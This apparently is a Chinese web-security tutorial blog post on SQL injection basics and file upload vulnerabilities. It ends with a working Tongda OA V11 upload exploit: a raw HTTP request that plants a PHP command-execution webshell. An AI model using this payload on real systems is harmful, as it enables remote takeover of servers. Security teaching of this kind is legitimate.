web安全文件上传漏洞&代码函数&格式后缀&场景

一、SQL注入-安全测试思路总结

漏洞利用

    1.参数类型 
    2.数据库类型
    3.数据提交方式
    4.数据SQL查询方式
    5.数据是否加密编码等
    6.数据是否存在回显等
    7.注入权限是否高权限

漏洞危害

    1.单个数据库数据泄露
	2.所有数据库数据泄露
	3.后台权限丢失-数据配合后台登录等
    4.WEB权限丢失-文件操作,命令执行等
    5.可能后续导致服务器权限丢失等

漏洞特点

	1.开发语言决定SQL注入产生率
	2.数据库类型决定SQL注入利用过程
	3.部分SQL注入发现需人工进行探针
	4.防护SQL注入代码过滤或部署WAF

二、文件上传-后门文件格式解析&测试场景

1.文件格式解析

我们先拿冰蝎做例子,冰蝎(Behinder)是国内黑客圈较火的一款Webshell管理工具。在今年HW开始前,冰蝎突然进行了3.0版本的发布,新版本修改了不少旧版本的流量特征,导致大量WAF、HIDS、Webshell检测工具失效。然后冰蝎自带了一个shell,我们把他放在网站目录上连接康康

自带的PHPshell
web安全文件上传漏洞&代码函数&格式后缀&场景_第1张图片
web安全文件上传漏洞&代码函数&格式后缀&场景_第2张图片
web安全文件上传漏洞&代码函数&格式后缀&场景_第3张图片
web安全文件上传漏洞&代码函数&格式后缀&场景_第4张图片
连接成功!那么我们把文件后缀改成jpg、txt、png还能解析吗
web安全文件上传漏洞&代码函数&格式后缀&场景_第5张图片
发现不能,说明文件格式解析必须得是根据网站语言决定,比如php的语言,它就只会解析php,不会去解析其他语言或者是其他文件格式(解析漏洞除外)

2.测试场景

除了下面常见的web文件上传点,那么APP也存在文件上传点

web安全文件上传漏洞&代码函数&格式后缀&场景_第6张图片
比如这里
web安全文件上传漏洞&代码函数&格式后缀&场景_第7张图片

文件上传-举例代码函数原理

代码如下

<html>
<head>
<meta charset="utf-8">
<title>菜鸟教程(runoob.com)</title>
</head>
<body>

<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>

web安全文件上传漏洞&代码函数&格式后缀&场景_第8张图片

前面代码构造一个文件上传的框架出来,后续用php代码进行接受处理


$dx=$_FILES['file']['size'];
echo $dx;

$mz=$_FILES['file']['name'];
echo $mz;

$lx=$_FILES['file']['type'];
echo $lx;
?>

这里的代码是对文件大小、名字、类型的接受并输出到页面
web安全文件上传漏洞&代码函数&格式后缀&场景_第9张图片

具体还有那些$_FILES操作:http://c.biancheng.net/view/6187.html
那么它在过滤的层面就会对类型、文件大小、以及文件头部进行检测过滤,如果只对其一进行过滤,前端文件类型,那么绕过这个限制就造成了文件上传漏洞。

文件上传-通达OA文件上传利用测试

参考:https://www.cnblogs.com/twlr/p/12989951.html

访问上传目录,使用的是V11版本,路径为:ispirit/im/upload.php
Burp抓包构造数据包上传文件,POC为:

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:85
Content-Length: 680
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[&apos;cmd&apos;];
$wsh = new COM(&apos;WScript.shell&apos;);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

web安全文件上传漏洞&代码函数&格式后缀&场景_第10张图片
web安全文件上传漏洞&代码函数&格式后缀&场景_第11张图片
可以看到上传成功!

web安全文件上传漏洞&代码函数&格式后缀&场景_第12张图片

你可能感兴趣的:(web安全,安全,web安全)